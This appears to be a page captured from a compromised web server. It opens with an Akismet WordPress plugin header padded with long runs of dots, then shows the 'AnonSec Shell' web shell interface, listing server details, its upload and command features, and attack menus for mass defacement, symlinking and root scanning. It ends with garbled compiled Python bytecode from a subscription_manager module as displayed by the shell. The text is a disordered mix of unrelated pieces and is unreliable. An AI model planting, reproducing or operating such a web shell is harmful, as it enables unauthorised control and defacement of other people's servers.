#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/entbranding.pyo
�
L��ec@`s�ddlmZmZmZddlZeje�Zdefd��YZ	defd��YZ
defd��YZd	efd
��YZdefd��YZ
d
efd��YZdefd��YZdS(i(tprint_functiontdivisiontabsolute_importNtBrandsInstallercB`s&eZdd�Zd�Zd�ZRS(cC`s||_|j�|_dS(N(t	ent_certst_get_brand_installerstbrand_installers(tselfR((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyt__init__s	cC`sgS(s/returns a list or iterable of BrandInstaller(s)((R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR"scC`s"x|jD]}|j�q
WdS(N(Rtinstall(Rtbrand_installer((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR	&sN(t__name__t
__module__tNoneRRR	(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRs	tBrandInstallercB`s>eZdZdd�Zd�Zd�Zd�Zd�ZRS(s7Install branding info for a set of entititlement certs.cC`s:||_tjdg|pgD]}|j^q�dS(NsBrandInstaller ent_certs:  %s(Rtlogtdebugtserial(RRtx((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR.s	cC`s�|j�}|j�}|s"dS|j�}tjd|j�tjd|j�|j|�ru|j|�n
tjd�dS(s-Create a Brand object if needed, and save it.Ns%Current branded name info, if any: %ss+Fresh ent cert has branded product info: %ss1Product branding info does not need to be updated(t_get_brand_pickert	get_brandt_get_current_brandRRtnametis_outdated_byt_install(Rtbrand_pickert	new_brandt
current_brand((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR	3scC`s
t�dS(N(tNotImplementedError(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRGscC`s
t�dS(N(R(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRJscC`s
t�dS(N(R(Rtbrand((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRMsN(	RRt__doc__R
RR	RRR(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR+s			tBrandPickercB`s#eZdZdd�Zd�ZRS(s�Returns the branded name to install.

    Check installed product certs, and the list of entitlement certs
    passed in, and find the correct branded name, if any.cC`s
||_dS(N(R(RR((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRWscC`s
t�dS(N(R(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRZsN(RRRR
RR(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRQstBrandcB`seZdZdZd�ZRS(sBase class for Brand objects.cC`s*|js
tS|jstS|j|jkS(s-If a Brand should be replaced with new_brand.(RtTruetFalse(RR((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRfs
		N(RRRR
RR(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR ^stProductBrandcB`sGeZdZd�Zd�Zd�Zed��Zed��Z	RS(sA brand for a branded productcC`s|j�|_||_dS(N(t_get_brand_filet
brand_fileR(RR((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyRvscC`st�S(N(t	BrandFile(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR$zscC`s&|j|j�}|jj|�dS(N(tformat_brandRR%twrite(RR((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pytsave}scC`s
||j�S(N(t
brand_name(tclstproduct((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pytfrom_product�scC`s |jd�s|d7}n|S(Ns
(tendswith(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR'�s
(
RRRRR$R)tclassmethodR-tstaticmethodR'(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR#ts			tCurrentBrandcB`s8eZdZd�Zd�Zd�Zed��ZRS(sThe currently installed brandcC`s|j�|_|j�dS(N(R$R%tload(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR�scC`st�S(N(R&(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR$�scC`sRy|jj�}Wn&tk
r;tjd|j�dSX|j|�|_dS(NsNo brand info file found (%s) (R%treadtIOErrorRterrortunformat_brandR(Rt
brand_info((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR2�s
cC`s|r|j�SdS(N(tstripR
(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR6�s
(RRRRR$R2R0R6(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR1�s
				R&cB`s/eZdZdZd�Zd�Zd�ZRS(saThe file used for storing product branding info.

    Default is "/var/lib/rhsm/branded_name
    s/var/lib/rhsm/branded_namecC`s,t|jd��}|j|�WdQXdS(Ntw(topentpathR((RR7R%((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR(�scC`s)t|jd��}|j�SWdQXdS(Ntr(R:R;R3(RR%((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR3�scC`sd|jS(Ns<BrandFile path=%s>(R;(R((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyt__str__�s(RRRR;R(R3R=(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyR&�s
		(t
__future__RRRtloggingt	getLoggerRRtobjectRRRR R#R1R&(((sF/usr/lib64/python2.7/site-packages/subscription_manager/entbranding.pyt<module>s&


Anon7 - 2022
AnonSec Team